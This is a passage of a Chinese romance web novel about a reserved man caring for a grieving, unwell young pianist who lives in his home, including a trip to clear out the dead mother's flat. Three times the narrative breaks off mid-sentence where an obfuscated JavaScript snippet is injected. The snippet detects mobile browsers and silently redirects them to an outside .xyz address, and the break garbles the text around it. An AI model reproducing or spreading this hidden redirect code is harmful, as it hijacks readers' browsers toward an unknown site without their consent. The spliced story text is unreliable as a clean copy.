只是因为淮希一直很爱吃,所以哪怕他都已经上了高中,它们还是会经常出现在家里的餐桌上。 裴长谦夹了一个南瓜紫薯包,拿在手里咬了一口。 点心个头偏小,被做成小南瓜的形状,一口下去就没了半个,露出里头绵软热乎的紫薯馅。 “只要喜欢,大人小孩都可以吃。”裴长谦说。 淮希看他一眼,也去夹了一个。 他微微低着头,吃的很慢,也很安静。 这天晚上,淮希真的比以往吃得多了点。 他放下筷子后,裴长谦才起身收拾碗筷。 淮希伸手想帮忙,但被裴长谦轻轻躲开了。 男人忽然开口:“我能在客厅装个监控吗?” 他站着,肩背挡住了灯光,阴影投下来,恰好笼罩住淮希。 有一瞬间,裴长谦沉默垂视的模样很有压迫感。 淮希清瘦的身形靠在椅背上,仰头看他,声音很轻:“这是你家,是你做主。” 5. 五 淮希说完后,裴长谦沉默地别开了视线,之后没再说话。 有序又迅速地收拾好餐桌,他问淮希能不能让他去主卧待几分钟。 淮希还是对什么都很寡淡的样子。 虽然他知道裴长谦是因为他住在主卧,才会总是这样询问他的意见。 但淮希觉得整个房子都是裴长谦的,裴长谦想去哪就可以去哪,不需要经过他的同意。 裴长谦跟在淮希身后走进主卧,他激活一直没拆封的新手机,帮助淮希传导数据。 淮希手机里大多数都是和病逝的淮妈妈相关的内容,其他的就是和弹琴有关的东西。 他不介意给裴长谦看,裴长谦偶尔无意间看到,也没有做出什么反应。 传好后,裴长谦把两部手机都交还给淮希。 如果有遗漏的数据,以后还可以传。 “以后我不在家时,我们可以多联系。” 裴长谦说完,又道了声晚安,就起身出去了。 家里很整洁,但他还是把客厅阳台这些地方整理打扫了一遍。 之后又去健身房待了一个小时,才回到次卧。 洗完澡躺在床上,积攒了一整天的疲惫感慢慢四散到全身,让人产生身体越来越沉的错觉。 放在床头柜上的手机响了一声,裴长谦缓了两秒,才睁开眼去拿。 第一眼看到发消息的人是淮希时,他的心情扬了一下,但很快又看到消息内容是一条转账记录。 淮希手头很拮据,给妈妈办完葬礼后,他没有欠债就已经很好了。 目前手机里的余额,大部分是来临阳市的那场演出所得的报酬。 不到两万,他给自己留了一千急用,其余的都转给裴长谦。 淮希:[我暂时只有这么多] 裴长谦保持着侧过身体拿手机的别扭姿势,动作很僵硬。 他神情严肃盯着这两条消息,几秒的功夫,身上居然出了一层汗。 裴长谦行事果断,最厌恶拖泥带水,产生懊悔情绪的次数很少。 现在却在责怪自己在餐厅时脑子不清醒,一时冲动说出那样冒犯淮希的话。 淮希现在很有可能产生了离开他的想法,所以才会通过转账来与他撇清关系。 足过去好几分钟,淮希才收到裴长谦的回复: [我不打算在家里装监控。] 淮希没有多想,把这句当成房子主人对他的通知,随意应道: [好] 但裴长谦又发来一句道歉: [那是我不经考虑产生的想法,很抱歉,你别生气。] [好吗?] 淮希平躺在被窝里,只有一只手伸出来举着手机。 他神情呆愣了片刻,才后知后觉对方误会了。 一只手打字很不方便,淮希犯懒,干脆改发语音:“我花了你不少钱。” 医药费,手机,很多套衣服,床垫,还有零零碎碎的日用品钱和饭菜钱,如果再算上房租和水电…… 淮希之前一直没有精力考虑这个。 今天恰好裴长谦帮他换了新手机,他才记起处理钱的事。 “这是我应该给你的。” 他平躺着的声音显得比平时闷,也变得更软。 停顿片刻,又发来一条:“没有生气。” 裴长谦靠坐在床头,把最后这条两秒的语音听了将近十遍。 淮希缓慢的语速让他感到耳朵很痒,引起半边身体的颤栗。 尽管不太情愿,但经过一番深思熟虑后,裴长谦收下了淮希的转账。 [你给的超出很多,这些钱还够你住很久。] 消息发过去后,裴长谦攥着手机的指节逐渐因为紧张而变白。 他一直停留在聊天框的界面,期待能得到一个“好”字,或者其他肯定的回答。 但淮希没再回复他。 裴长谦等待了二十分钟,只好关掉手机睡觉。 …… 裴长谦果然没有再提半句关于监控的事。 但自从让淮希用上新手机后,他开始一有空就给淮希发消息。 绝大部分都是在问,淮希在做什么。 淮希有时候会很快回他,有时候隔好久才回。 回的不够及时,裴长谦就追问,能不能拍个照片给他看。 淮希一般都会很随意地拍一张旁边的场景给他,绝大多数都是在家里,总之没出过小区。 偶尔淮希也会抱怨:[好烦,不想拍] 裴长谦就不敢再要了。 他始终保持着一下班回家就寻找淮希的习惯。 不过在主卧找到人的次数在慢慢变少。 如果在主卧里没有看到人,裴长谦的心跳就会变快。 他会一个房间挨着一个房间地认真找,连洗衣房和杂物间也不放过。 不过,淮希一般只是待在书房,或者阳台。 经常,裴长谦会带着一身新衣服、一双好看的鞋,或是一条围巾回家。 找到淮希后,他站在旁边,很认真地给对方展示,劝对方试试。 淮希大多数时候都在拒绝,因为不想动。 他裹着柔软的绒毯,缩在阳台的藤椅上,看外面慢悠悠地下小雪。 但如果裴长谦再劝一遍,他就会妥协,慢腾腾地松开毯子,低着头把自己裹着厚袜子的圆鼓鼓的脚往新鞋里塞。 裴长谦看到这样的画面,眼里有很浅的笑意,然后取厚度适中的袜子过来,在淮希脚边蹲下身。 脱掉满是绒毛的保暖袜后,淮希的脚瘦骨嶙峋,白得能看清血管,踩在掌心是凉的。 裴长谦给淮希换上合适的袜子,帮淮希穿上新鞋,动作小心地仿佛怕折断骨头。 系好鞋带后,男人握着脚腕让淮希把脚踩在地面,抬头询问:“合适吗?” 淮希的神情比平时多了分呆。 他脚往后缩了一下,感受到男人指腹薄茧带来的摩擦感。 “嗯。” 他点头,裴长谦跟着点头,然后帮他脱下鞋子,重新换上厚袜,才起身走开。 淮希把双脚缩回毯子里,不自在地活动脚趾,视线追随裴长谦的身影。 男人背影挺拔,把那双鞋齐齐整整放入鞋柜,之后洗手,消毒,进厨房准备晚餐。 …… 察觉到裴长谦每次回家没有第一眼看到自己就会不安后,淮希每到傍晚都会待在客厅的沙发上。 这对他而言不是多麻烦的事,只不过换个地方发呆而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310217|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。 裴长谦是个善良的人,他愿意让对方好受一点。 这天刚到下班的时间,裴长谦收到淮希主动发来的消息。 对方让他顺路带一个蛋糕回家。 裴长谦看着那一行字,确认了很久。 这导致他回消息询问淮希喜欢什么口味时,没再收到回复。 淮希可能看书或睡觉去了。 裴长谦不感到生气,也没觉得受挫,相反,他的心情变得很好。 他询问了还没走的同事,问对方知不知道哪里的蛋糕最好吃,又问买哪个口味的蛋糕最不出错。 得到具体的回答后,裴长谦在加完班后驱车前往。 但他错估了那家店的火爆程度,最受欢迎的口味更是供不应求。 排队真的用了很久。 中间因为担心淮希会挨饿,裴长谦还点了餐送到家里。 等他回到家时,客厅开了暖色的灯,淮希已经侧躺在沙发上睡着了。 裴长谦把买到的蛋糕轻轻放在茶几上,动作很轻,没有发出任何声音,但他身形笼下的阴影还是惊醒了淮希。 裴长谦在沙发和茶几之间蹲下来,他眉头紧皱。 “抱歉,我回来太晚了。” 他侧身给淮希看了眼蛋糕的盒子,看淮希很困,提议道:“明天再吃?” “嗯。” 淮希用一只手臂搭在额头上挡光,眯着眼睛,透过眼睫看他。 其实他下午发完消息没多久,就又不想吃蛋糕了。 到现在,淮希有点分不清自己是在等蛋糕,还是在等人。 裴长谦微微往前俯身,在很认真地看他,像在确认他有没有不高兴。 男人优越的眉眼在昏黄的灯光下变得更加立体。 淮希看了片刻,就闭上眼睛,很轻地问:“你可以送我回卧室吗,好困,不想走路了。” 空旷寂静的客厅里,裴长谦的呼吸声突然重了一下。 但开口时,他的语气又很沉稳。 “当然可以。” 他说着,就站起身,连同裹在淮希身上的绒毯一起,把人缓缓抱了起来。 淮希的胳膊没有环上他的脖颈来借力,而是缩在毯子里。 但他的脑袋软绵绵地靠在了裴长谦紧实的肩膀上,翘起的发尾扫在裴长谦的耳侧。 走进主卧,把淮希放到床上时,裴长谦心中很不舍。 “你动作好慢。” 淮希脑袋还枕在他的手臂上,轻声阐述事实。 他的语气好像这是一件很有趣的事。 裴长谦一手托在他脑后,将自己的胳膊抽出来。 他帮淮希收走绒毯,盖好被子,“嗯”了一声,解释道:“你的困意很珍贵,我担心有颠簸,会赶走睡意。” 淮希眼眸闪烁了一下,说:“谢谢。” 裴长谦垂下眼,道了声晚安,离开房间。 回到餐厅后,他才发现给淮希点的那份餐几乎没怎么动。 明明淮希最近的胃口已经恢复不少。 裴长谦犹豫了很久,还是没有去叫醒淮希。 因为觉得睡眠也非常重要。 他草草将淮希剩下的饭菜热一热吃掉,把买来的蛋糕仔细放进冰箱。 6. 六 这天,两人像往常一样吃过晚饭后,淮希坐在原来的位置没有动。 眼睛本来在盯着某一处发呆,但不知不觉开始跟着那道熟悉的背影移动。 裴长谦已经洗过碗,正在擦厨房的柜台。 男人腰间系着围裙,黑色针织衫被勒出褶皱,显得腰身更加紧实。 他微微弯着腰,将刚用过的柜台擦到反光才停下,之后将抹布洗干净放回原位晾干,解掉围裙挂放整齐,才从厨房出来。 淮希看得出裴长谦今天的状态有些异常,似乎在焦虑什么事。 男人从厨房出来后,看他一眼,又折返厨房取来抹布,将已经收拾干净的餐桌重新擦了一遍。 这是做事很有条理的裴长谦很少出现的状况。 湿抹布擦过后,餐桌上留有水渍,裴长谦又取来干毛巾慢慢擦干。 淮希猜测裴长谦可能是工作上遇到了什么困难。 他产生过开口询问的念头,但又想到自己即使问了,也帮不上任何忙,就很快放弃。 裴长谦快擦完时,主动开了口。 “明天我要去邻省出差,需要四天左右。”男人神情严肃,语气有些强装出来的自然。 他简短地解释:“有一个学术会议,我是课题负责人,必须参加。” 淮希最近思考一直很迟缓。 裴长谦出差,主人不在,这个房子里就只剩他一个人了。 “刚好,”反应过来后,他抬眼说,“我也该走了。” 他语气很淡,脸上也没有任何特别的情绪。 这件事在他这里还不足以引起情绪波动。 裴长谦停下了手里的动作,直起身体看向他。 男人手里的毛巾被攥紧,又松开。 他眉头难以控制地皱起:“可以不走吗?” 淮希乌黑的眼睛很平静,语气同样:“很多天了,我租的房子也要收拾。” “等我回来,我们可以一起去收拾。” 裴长谦很快说。 淮希一时沉默,只看着他。 面对这样冷淡的目光,裴长谦有一瞬想别开视线,但他没有。 只是在淮希对面坐下来,更加放低了声音:“现在外面很冷,你独自回去,我担心会生病。” 淮希再次感受到了裴长谦带给他的奇怪感觉。 他们这样相处也很奇怪。 虽然他父母去世,身边也已经没有什么亲人,但淮希和学校的恩师的关系还算不错,手机列表里也有几个在他困难时伸手帮助的朋友。 ——并不是说淮希会去找他们求助。 而是,好像不管怎么样,也轮不到一直麻烦裴长谦这个之前从不认识的陌生人。 被对方收留,莫名其妙住在对方的家里。 淮希对以后没有打算,也没有兴趣去想接下来应该做什么,但他知道起码不能一直这样下去。 住在这里这件事荒唐且暂时,淮希已经淡漠到没有精力去想时间长短,去考虑在某个特定时间点离开,只好平静地等一个机会。 裴长谦出差这件事刚好。 但裴长谦很害怕他离开。 淮希看得出来,却十分不理解。 他们只是陌生人。 即使在一个房子里住了将近一个月,即使裴长谦真的照顾了他很多,但他们实际见到彼此的时间很少,交流也非常少,并不足以产生多少感情。 至少在淮希这边是这样。 所以他无法理解裴长谦为什么这么不想让他走,为什么非要管他这个累赘不可。 淮希想不到裴长谦的动机。 他甚至怀疑过裴长谦有什么心理缺陷,比如拯救者情结。 “这几天待在家里,我让阿姨定时来做饭,打扫卫生,”裴长谦坐在淮希对面,微微往前倾身问,“可以吗?” 淮希有点坐不住,用掌根撑着脸,这样能省点力气。 他没有回答裴长谦,而是想了想问:“我们以前见过吗,我是不是忘记了。” 裴长谦原本沉静的眸色波动几分,他停顿片刻,幅度很轻地点点头。 “见过,在你高一那年夏天,我返校参加校庆。” 他很简短地概括了当晚的事,脑海里却随之滑出来很多细节。 裴长谦神情不变,心中对此感到惊讶。 淮希听完,神情空白片刻,之后慢慢记了起来。 他很少去回忆以前的事,所以记得的很少,所幸这件事算是十分尴尬的一件。 淮希因为想到当年的尴尬,身体不自在地调整了一下,又重新没骨头似的靠在椅背上。 “你脾气很好。” 他想起还有些青涩的裴长谦,在被他当了好久的枕头后,眼神始终平静。 裴长谦似有不解:“你是第一个这么说的人。” 淮希又问:“没有了吗?” “嗯。” 虽然他们只见过一面,但起码证明裴长谦不是在骗他。 他们真的是校友,也有过一段交集。 虽然只有短暂的一个小时,但似乎也起到了拉近距离的效果。 裴长谦从完全陌生的人,变成了他的学长。 “你安心工作,”淮希看着裴长谦,慢慢地说,“我待在这里。” …… 裴长谦第二天很早就出门了。 他动静很轻,淮希没有被吵到。 但淮希的睡眠太差,心里装不得一点事,因为昨天随口问了裴长谦大概几点钟离开,他记住了对方回答的时间,到点就醒了过来。 冬天凌晨六点钟,外面天气又沉又冷。 淮希房里一片漆黑,只有很淡的暖光透过房门上的玻璃渗透进来。 裴长谦应该只开了玄关附近的落地灯。 淮希平躺在床上,眼里毫无睡意,耳朵不由自主听着外面的动静。 裴长谦刻意放缓了脚步和动作,又轻又稳。 他似乎去了厨房,又去了阳台,甚至还在主卧门外停驻了片刻。 那几秒钟被无限拉长,淮希忍不住轻轻翻身,改为侧躺,视线落在房门的方向。 但裴长谦没有推门进来。 安静过后,对方的脚步声渐行渐远,随着家门的一开一合,彻底消失。 周遭变得更加寂静。 淮希维持侧躺的姿势闭上眼,但没再睡着。 一直到早上八点钟,床头柜上的手机响了两声。 淮希睁开眼,一双乌黑眼珠十分清醒。 他慢吞吞将手臂探出被窝,拿过手机看,毫无意外是裴长谦发来的消息: [厨房有早餐,热一热就能吃。你的绒毯洗干净了,放在阳台的藤椅上。] [有事随时联系我。] 淮希看完,没有回复,把手机塞进枕头下面。 他很不想起床,觉得起床是一件很累的事。 但犹豫好几分钟后,还是掀开被子起身,洗漱,走进厨房,去看看裴长谦给他留了什么早饭。 …… 裴长谦请的阿姨每天固定时间过来,按照裴长谦提前留好的菜谱给淮希准备一日三餐。 但淮希的食欲重新变得很差。 他自己没有在意,阿姨却一次不落地都汇报给裴长谦。 到了晚上,裴长谦结束一天的工作回到酒店,给淮希发消息: [阿姨说你只吃了一点饭,要多吃点。] 淮希洗完澡出来,慢腾腾收拾完,在床边坐下,才看到消息。 他很轻地皱了一下眉,简短地回复:[我知道了] 第二天白天,阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310218|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨做好饭,在淮希周围整理卫生时,淮希很轻地问对方:“您每天都要告诉裴长谦我的吃饭情况吗?” 阿姨动作停下,看向淮希,说了一声“是的”。 淮希眉头轻轻皱着。 阿姨反应过来,温声问:“淮先生,您希望我不说?” 淮希抬眼:“如果可以的话。” 阿姨似乎感到抱歉:“我可以答应您不主动说,但如果裴先生问我,我还是会告诉他。” “……” 好吧。 淮希不再跟她说话了。 当天晚上,几乎是同一时间,裴长谦的消息又发过来: [今天还是吃得少。] 淮希敷衍他:[知道了] 第三天晚上,裴长谦逐渐担心,委婉地询问: [阿姨做的饭不合口味吗?] 淮希并不是时刻都随身携带手机。 他经常在某一个地方发呆或看书,手机却落在上一个地方,听到消息声音了,才记起来起身去找。 总之回消息不太及时: [不是] [会多吃的] 但到第四天,他的食量仍旧没有任何好转。 裴长谦心中越来越担忧,但他又怕一直反复询问惹淮希不高兴,不愿意再回他消息,只能忍住不再问。 除此之外,他们也会聊些别的。 裴长谦出门在外,没办法像平时那样每天夜里亲自去看淮希,就只能每天早上问淮希睡得怎么样。 他建议对方,睡不着时可以尝试听白噪音,或者找他聊天。 淮希答应得很好,但从没主动找过他。 因为飞机晚点,裴长谦在第五天的中午才回到家。 他进了家门,行李随手放在玄关,之后的步骤还和往常一样。 脱外套,洗手消毒,找淮希。 中午一点,正是午休的时候,所以裴长谦动作轻缓。 他本打算直接去主卧,但注意到书房门敞开着,就先去了书房。 淮希果然在里面。 他穿着柔软的米色睡衣,双腿蜷缩坐在宽大的椅子里,一只手臂抱住膝盖,另一只手还按着放在桌面上的书,侧身对着门的方向睡着了。 淮希脑袋软软地靠在椅背上,他头发有些长了,蹭得乱糟糟,发尾被窗外的阳光染成透金色。 明明是一副再平常不过的画面,裴长谦却看得有些出神。 他驻立片刻,本来打算先去洗澡,让淮希再睡一会儿,但淮希已经醒了。 察觉到门外的视线,淮希反应迟缓地偏头。 看到裴长谦的身影时,他情绪冷淡的眸子闪烁了一下。 之后再没什么明显的反应,只是稍稍坐直身体,淡声说:“你回来了。” “嗯。”裴长谦应了一声,走近。 他注意到淮希好不容易养软一点的脸颊又瘦回去,脸色也是白的。 积攒了几天的担忧全都冒出来,裴长谦神情严肃,眉头皱起。 他想问淮希这几天为什么又不好好吃饭,是不是不舒服,或是不开心。 但都没来得及说,淮希抬起眼睛看他,先开了口:“我想吃你做的清蒸鲈鱼。” 裴长谦眸色一动,眉间不自知舒展。 他胸膛缓慢起伏,像是所有的负面情绪一扫而空,答应得很快:“好。” 今天是雇佣阿姨的最后一天,裴长谦说完打了个电话,让阿姨买好食材送过来。 挂断电话后,他看到淮希一只手撑在椅子扶手上,在弯腰穿拖鞋。 但两条腿因为被压麻了,不听使唤,穿的不太顺利。 裴长谦垂眼,问他:“想去哪?” “客厅。”淮希抬头说。 然后他就被裴长谦轻轻抱了起来。 7. 七 饭吃到一半,淮希逐渐反应过来,感到很羞愧。 裴长谦外出工作了好几天,回到家衣服都没有来得及换,就先为他做饭,忙来忙去。 吃过饭后,裴长谦收走碗筷,淮希默不作声端起两只盘子跟在后面。 裴长谦转身看到,没说什么,顺手接了过去。 淮希又在厨房和餐厅之间移动了两趟,将需要洗的餐具搬运完毕。 他还想继续帮忙,比如擦一下餐桌或岛台,但裴长谦递给他一杯温热的牛奶,让他去坐在椅子上慢慢喝掉。 淮希心中不情愿。 他不喜欢喝纯牛奶,没有甜味,很腻。 但犹豫了一下,还是什么都没说,接了过来。 他没有去餐厅坐着,就站在厨房门旁,一边看裴长谦做家务,一边小口小口地喝着牛奶。 裴长谦处理厨余垃圾,将需要洗的餐具都放进洗碗机,又去擦拭岛台。 男人一言不发地忙碌着,动作利落有序。 忙碌到一半,清洗抹布时,他看了眼靠在厨房门处的淮希,语气很自然地开口:“是只吃得下我做的饭吗?” 之前给淮希点外卖,淮希几乎没怎么动。 这几天让阿姨过来做饭,明明是一模一样的菜谱,淮希却也是吃得一天比一天少。 但刚才那顿饭,裴长谦一直在观察淮希。 夹了几次菜,吃下多少米饭,他都在心中计算着。淮希的食量又恢复了他出差前好不容易养好的状态。 淮希专注力较差,手里握着牛奶杯,视线一直跟随裴长谦的身形移动,思绪却早就飘得很远。 听清裴长谦的问题时,他回过神,神情很茫然。 他不知道。 他自己从没意识到这一点。 不知道该怎么回答,淮希微微皱眉思考了好一会儿,轻声开口:“你出差顺利吗?” 问完,他局促地眨了下眼睛,补充:“抱歉,现在才问。” “顺利。” 裴长谦很轻地笑了一声,直起身看向他:“不用觉得抱歉,我很高兴你关心我。” 淮希跟裴长谦对视,对方不是在嘲笑他对问题的逃避以及转移话题的拙劣。 裴长谦眼中残存的淡笑很温柔。 淮希别开视线,裴长谦朝他伸出手。 淮希反应了一下,才忙把手中的空牛奶杯递过去,之后就转身回了卧室。 …… 这个周末,裴长谦难得可以完整地休息两天,他和淮希一起回松月市。 这一个月以来,他将淮希养好了一点。 虽然仍旧很瘦,但脸色没有那么白了,起码透出些许光泽。 情绪也不像之前那样沉郁,偶尔会对他展现出松缓的模样。 但随着距离松月市越来越近,淮希的状态在快速变差。 飞机在松月市机场落地,他们坐上出租车去往淮希租住的地方,快到时会路过淮妈妈之前住的医院。 淮希脊背微弯陷在座椅里,没有看前方,也没有看窗外,一直垂着眼。 他表情没有变化,仍旧是对什么都很寡淡的模样,但脸色不受他控制,变得很难看,像被无形的阴霾压住。 也开始不理人。 就像刚被裴长谦带回家时的状态。 裴长谦主动搭了三次话,淮希的反应都很冷淡、迟缓,几乎没有开口。 为了省钱,淮希租的房子很小。 现在还很乱。 当初离开时,他以为自己很快就会回来。 而且在赶赴那场演出之前,妈妈的病危和葬礼让淮希焦头烂额,他忙着东奔西跑,把家里折腾得一天比一天乱,从没顾得上收拾。 走出电梯,淮希拿出钥匙开门时,想到了裴长谦的洁癖与强迫症。 对方一定会嫌弃他。 他知道自己这时应该跟裴长谦客套两句,比如说声抱歉,请裴长谦别介意。这样挽回一下形象。 但破罐破摔的心态涌上来,淮希最后什么也没说。 一个月没有住人,房里的一切都变得灰扑扑,开了灯也无济于事。 老小区的暖气设施很差,再加上淮希没交暖气费,所以房里的温度不比外面好多少。 淮希跟裴长谦说不用换鞋,两人一前一后进了屋。 客厅有些逼仄,茶几上散乱着各种药瓶药盒、病历、检查单,还有面包袋子,底部剩了一点水的矿泉水瓶…… 淮希视线从那片狼藉上扫过,努力忽略。 他张了张口,本想招呼裴长谦在沙发上坐下休息,但又发现沙发上堆满了妈妈生前在病房用的物品,毛毯和换洗衣物等,几乎没有供人坐下的空间。 淮希大脑放空了一瞬。 他立在原处,背对着人,一时不知道该做什么。 裴长谦将随身带的背包放在地上,从里面拿出来两瓶瓶装水。 他进了只能容纳一个人的厨房,找到热水壶,忙碌片刻后,走出来,将一杯微微烫手的热水递给淮希。 淮希有些怔愣,裴长谦捏了一下他冰凉的手指,提醒:“握好,暖暖手。” 淮希就用力握住了。 裴长谦将茶几上的纸质文件摞成一沓,空的药盒药瓶和垃圾都丢掉,没吃完的药分好类,整齐放入收纳盒。 几分钟的时间,茶几变得整洁干净。 他又在沙发上找出一小片位置,招呼淮希过去坐下。 “我整理,你看着,告诉我该怎么做,很快就好了。”裴长谦半蹲在沙发旁,也就是淮希腿边,声音沉稳地说。 他知道淮希的情绪很差,所以这句话的语气尽量放得柔和,像在哄小朋友。 淮希只跟裴长谦温柔的目光对视一眼,就忙假装喝水。 抬起水杯时,他的手指用力到微微发颤。 快该吃晚饭的时候,裴长谦起身去厨房看一圈。 厨具和调味品都不齐全,冰箱里也是空荡荡。 从厨房出来,裴长谦特意停下脚步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310219|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从背后看了眼淮希。 淮希很听话,他让淮希趁热把水喝掉,淮希就乖乖喝完了。 也不再出神,正在接着他整理到一半的摊子,自己慢慢收拾。 低头垂眼的样子很认真。 松月市天气湿冷,天色暗下来时,开始下雨夹雪。 淮希一个月前晾在阳台的伞忘记收回去,裴长谦需要外出买菜,就找到那把伞擦拭干净,出了门。 他回来的时候,不仅带来一袋子菜,还带了感冒药和温度计。 吃过饭,裴长谦把温度计递给淮希,让他量一量体温。 淮希露出不解的神情。 “你的脸色不对。”裴长谦看着淮希白到透明的脸颊说。 “自己察觉不到难受吗?” 语气有点严肃,但不是在凶人,仅仅在表达询问。 淮希还没回答,他干脆拆开温度计,检查水银柱并甩了两下,再次递过去。 体温37.5℃。 淮希吃了感冒药,但到晚上时,症状还是加重了。 鼻塞,喉咙痛,脑袋昏昏沉沉。 幸运的是体温没有再升高。 屋里并不暖和,也没有其他事情可做,所以他们决定早早上床休息。 裴长谦提前开了热水器,他先去浴室洗过澡。 之后借着狭小空间里积攒的热气,淮希也进去草草冲洗了一下。 他裹着毛绒睡衣出来的时候,裴长谦已经铺好了卧室的床。 卧室的空间也很拥挤。 房东放了一张一米五的床和两扇衣柜,两个床头柜,就几乎不剩什么地方了。 裴长谦站在衣柜前往外取被子,想让淮希先上床暖和,就需要他关上柜门让开路。 为了保暖,裴长谦在床上铺了两层被子,重重的,也很踏实。 淮希掀开被窝坐进去后,看到裴长谦拿着仅剩的另一条被子,准备离开。 “没有次卧。”淮希及时说。 他的话声因为感冒,变得鼻音很重,闷闷的。 “我睡沙发。”裴长谦回头看他。 淮希皱起眉。 在裴长谦重新往外走时,他有些着急地身体前倾,两手撑在被面上哑声开口:“不介意的话,我们挤一挤可以吗?” 在裴长谦家里时,裴长谦把主卧让给他,自己去住客卧。 现在裴长谦来他这里,没有让对方去睡沙发的道理。 淮希今天的表现已经够糟糕了。 裴长谦的脚步再次停下。 他回过身,神情始终不苟言笑,此刻眉头皱着看向淮希,似在确认。 “睡沙发很冷。” 淮希仰起脸看他,轻声解释。 又以为裴长谦是介意,再度慢吞吞地补充:“我背对着你睡,应该不会传染。” “那就挤一挤,我不介意。” 裴长谦这次很快应道。 他说完,就把手里的被子重新塞回衣柜,掀被上了床。 8. 八 两个人都躺在床上时,时间还很早,刚过九点钟。 裴长谦整理客厅的时候注意到桌上放着几本医学相关的书,他在经过淮希的允许后,挑了两本拿进卧室。 他靠坐在床头看书,淮希背对着他,侧躺在床的另一边。 两人中间保持着狭窄的距离,空隙被裴长谦用被子压紧,防止冷风灌入被窝。 淮希只露出脑袋,半张脸埋在枕头里,眼皮半垂着,视线随意放在一个地方发呆。 刚落地松月市时,他真的感到很难过。 心脏像被一根细绳吊了起来,空荡荡地悬在半空。 这种感受应当是孤单。 淮希意识到即使他回到这座城市,也再也找不到家了。 踏入出租屋,看到妈妈已经落灰的遗物,淮希差点被那种感受压得喘不过气。 裴长谦陪在一旁,帮他一件一件整理,让淮希有了喘息的机会。 到现在,难过的情绪已经变得很淡。 裴长谦体质比他好,即使两人没有肢体接触,对方暖烘烘的体温还是源源不断传递了过来。 这让原本潮冷的被窝很快变得暖和。 耳边传来十分规律的翻书声响,以及男人均匀平稳的呼吸声。 这些切实的感受都在不断转移淮希的注意力,令他感到放松。 不过,淮希还是预感到今晚很难睡着。 这和旁边睡了一个人没有关系。 淮希并不介意跟别人共睡一张床。 之前淮妈妈数次进重症监护室,淮希连着好多个晚上不敢离开医院,需要连夜陪床时,病床的地板睡过,医院走廊也睡过。 很累的时候,他会缩在休息椅上睡一个小时,趴在妈妈的床尾也能睡。 周围随时会有患者、患者家属,以及医护人员经过,淮希早就顾不上这些。 所以裴长谦根本影响不到他。 是他的睡眠本来就很差,烦人的感冒症状又来雪上加霜。 这导致淮希觉得自己会失眠一整晚。 房里很安静,裴长谦这一侧开了一盏灯。 睡在旁边的人只占了一小片区域,从躺下后就不再有动作,呼吸声也很低弱。 裴长谦手里翻着书,却一个字都没看进脑子里。 大概过去二十多分钟,他眨了眨稍显酸涩的眼睛,将视线从密密麻麻的文字上移开,去看淮希。 淮希闭着眼。 因为距离近,裴长谦能注意到很多细节。 比如发现淮希的睫毛比一般人的长,但不太卷翘,还发现淮希鼻梁上有一颗很小的痣。 看到淮希微张的干燥的唇时,裴长谦皱眉猜想,淮希是不是呼吸很吃力?现在是不是在忍着难受不说? 他是习惯维持理智清醒的人,很少出神这么厉害。 所以当淮希忽然睁开眼看向他时,裴长谦指节抽动了一下,将书页弄得很响。 “你可以再翻一会儿书吗?”随着被子的摩擦声,淮希稍稍平躺,抬起眼睛小声问裴长谦,“声音很好听。” 从裴长谦的角度,淮希乌黑的眼睛被灯光映得水亮。 “当然可以。”他神情严肃,声音沉稳地答。 裴长谦不知道自己又翻了多少分钟。 发现淮希真的听着翻书声睡着了的时候,他心中很意外,还有些不敢相信。 他很清楚淮希入睡有多困难。 害怕淮希中间惊醒,裴长谦又等了很久。 确定淮希真的睡稳了,他才慢慢降低翻书的速度,直到停下。 缓慢地将书放回床头柜,裴长谦一手撑着身体,另一手去给淮希提落到肩膀处的被子。 他动作放得很轻,将被边掖到淮希下颌处时,掌根挨住了淮希的脸,触感一片冰凉。 淮希忽然动了动,用脸颊往他手掌里轻贴。 很细微的动作,不是在亲近人,只是本能地汲取温暖。 但裴长谦还是瞬时产生了将淮希搂在怀里的想法。 那样的话,他就可以让淮希更暖和点。 短暂的停顿后,裴长谦轻轻抽走变得僵硬的手,没有那样做。 …… 第二天清早,淮希醒来时,床上只有他一个人。 两条被子都裹在他身上,紧得连抽出手臂都有些困难。 注意到他睡醒后,裴长谦推开卧室门进来。 男人已经穿着整齐,一身黑色大衣衬得他身量修长,气质更加稳重。 裴长谦将温度计和一杯热水放在淮希床头。 淮希量体温的时候,他坐在床的另一边,用吹风机吹暖淮希一会儿要穿的贴身衣物。 体温降到了37度,但感冒的症状没有明显减轻。 淮希好久没有睡过这样沉的觉,脑袋清醒需要时间,就这样在裴长谦的帮助下迷迷糊糊起了床。 他们返程的机票已经提前订好,下午两点出发去机场。 